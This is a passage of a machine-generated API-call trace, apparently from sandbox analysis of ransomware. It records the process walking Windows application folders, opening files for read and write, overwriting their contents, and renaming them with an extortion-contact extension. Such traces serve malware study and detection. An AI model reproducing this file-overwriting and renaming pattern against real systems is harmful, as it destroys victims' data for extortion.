lpFindFileData=0x497fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e408d2a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e408d2a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x567c214d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0xbb87496, dwReserved1=0x73282d8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0243.174] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.174] Sleep (dwMilliseconds=0x1) [0243.175] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Advanced Layout.png", len=0x89 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Advanced Layout.png") returned 1 [0243.175] GetProcessHeap () returned 0x630000 [0243.175] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x531c) returned 0x6fe3bb0 [0243.175] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\Icon_Advanced Layout.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\icon_advanced layout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.177] Sleep (dwMilliseconds=0x1) [0243.206] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-48.png", len=0x8c | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-48.png") returned 1 [0243.207] GetProcessHeap () returned 0x630000 [0243.207] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x528c) returned 0x6fe3bb0 [0243.207] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Icon.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\icon.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.207] Sleep (dwMilliseconds=0x1) [0243.248] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png", len=0x76 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png") returned 1 [0243.248] GetProcessHeap () returned 0x630000 [0243.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5224) returned 0x6fe3bb0 [0243.249] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\LoadIconRTL_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\loadiconrtl_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.257] Sleep (dwMilliseconds=0x1) [0243.282] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus_icon.png", len=0x73 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus_icon.png") returned 1 [0243.282] GetProcessHeap () returned 0x630000 [0243.282] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c8) returned 0x6fe3bb0 [0243.282] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\plus_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\plus_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.290] Sleep (dwMilliseconds=0x1) [0243.309] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star_icon.png", len=0x7b | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star_icon.png") returned 1 [0243.309] GetProcessHeap () returned 0x630000 [0243.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5168) returned 0x6fe3bb0 [0243.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\8-Point Star_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\8-point star_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.318] Sleep (dwMilliseconds=0x1) [0243.339] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-black.png", len=0x80 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-black.png") returned 1 [0243.339] GetProcessHeap () returned 0x630000 [0243.339] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x512c) returned 0x6fe3bb0 [0243.339] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSplashScreen.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersplashscreen.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.339] Sleep (dwMilliseconds=0x1) [0243.352] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-black.png", len=0x7b | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-black.png") returned 1 [0243.352] GetProcessHeap () returned 0x630000 [0243.352] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50cc) returned 0x6fe3bb0 [0243.352] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-150_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-150_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.353] Sleep (dwMilliseconds=0x1) [0243.364] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100.png", len=0x6c | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100.png") returned 1 [0243.364] GetProcessHeap () returned 0x630000 [0243.364] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50b0) returned 0x6fe3bb0 [0243.364] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.364] Sleep (dwMilliseconds=0x1) [0243.399] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100.png", len=0x6e | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100.png") returned 1 [0243.399] GetProcessHeap () returned 0x630000 [0243.399] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5038) returned 0x6fe3bb0 [0243.399] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.399] Sleep (dwMilliseconds=0x1) [0243.411] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_altform-unplated.png", len=0x81 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_altform-unplated.png") returned 1 [0243.411] GetProcessHeap () returned 0x630000 [0243.411] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x501c) returned 0x6fe3bb0 [0243.411] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-80_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-80_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.412] Sleep (dwMilliseconds=0x1) [0243.430] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-black.png", len=0x7f | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-black.png") returned 1 [0243.430] GetProcessHeap () returned 0x630000 [0243.430] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc0) returned 0x6fe3bb0 [0243.430] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-36_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-36_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.430] Sleep (dwMilliseconds=0x1) [0243.444] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-white.png", len=0x7f | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-white.png") returned 1 [0243.444] GetProcessHeap () returned 0x630000 [0243.444] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fa4) returned 0x6fe3bb0 [0243.444] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-30_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-30_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.444] Sleep (dwMilliseconds=0x1) [0243.506] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-white.png", len=0x7b | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-white.png") returned 1 [0243.506] GetProcessHeap () returned 0x630000 [0243.506] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f48) returned 0x6fe3bb0 [0243.506] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.506] Sleep (dwMilliseconds=0x1) [0243.522] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-white.png", len=0x73 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-white.png") returned 1 [0243.522] GetProcessHeap () returned 0x630000 [0243.522] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f0c) returned 0x6fe3bb0 [0243.522] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\search.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\search.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.522] Sleep (dwMilliseconds=0x1) [0243.538] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color_circle.png", len=0x79 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color_circle.png") returned 1 [0243.538] GetProcessHeap () returned 0x630000 [0243.538] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ef0) returned 0x6fe3bb0 [0243.538] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\Periscope_logo_color_circle.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\periscope_logo_color_circle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.551] Sleep (dwMilliseconds=0x1) [0243.569] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl", len=0x77 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl") returned 1 [0243.569] GetProcessHeap () returned 0x630000 [0243.569] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4eac) returned 0x6fe3bb0 [0243.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0243.575] CloseHandle (hObject=0x6cc) returned 1 [0243.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0243.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0243.576] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.576] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b015b1d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1816e, dwReserved0=0x390039, dwReserved1=0x320038, cFileName="hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIVEXS~1.FIR")) returned 0x6d51c0 [0243.576] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0243.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\110\\cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0243.576] GetProcessHeap () returned 0x630000 [0243.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0243.577] GetProcessHeap () returned 0x630000 [0243.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0243.577] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.577] ReadFile (in: hFile=0x6cc, lpBuffer=0x72846e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.184] GetProcessHeap () returned 0x630000 [0251.184] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0251.184] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.184] WriteFile (in: hFile=0x6cc, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0251.185] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.185] WriteFile (in: hFile=0x6cc, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0251.185] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.185] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0251.185] CloseHandle (hObject=0x6cc) returned 1 [0251.185] GetProcessHeap () returned 0x630000 [0251.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0251.185] GetProcessHeap () returned 0x630000 [0251.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0251.185] GetProcessHeap () returned 0x630000 [0251.185] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0251.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0251.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX86\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2afef8f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2afef8f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5bab8109, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x18192, dwReserved0=0xbb87496, dwReserved1=0x72846d8, cFileName="hive.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HIVEXS~1.FIR")) returned 0x6d5400 [0251.186] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0251.186] Sleep (dwMilliseconds=0x1) [0254.428] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", len=0x70 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned 1 [0254.428] GetProcessHeap () returned 0x630000 [0254.428] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e54) returned 0x6fe3bb0 [0254.428] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.429] Sleep (dwMilliseconds=0x1) [0254.431] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileSmallSquare.scale-100.png", len=0x98 | out: pbstr=0x497ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileSmallSquare.scale-100.png") returned 1 [0254.431] GetProcessHeap () returned 0x630000 [0254.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0254.431] CreateFileW 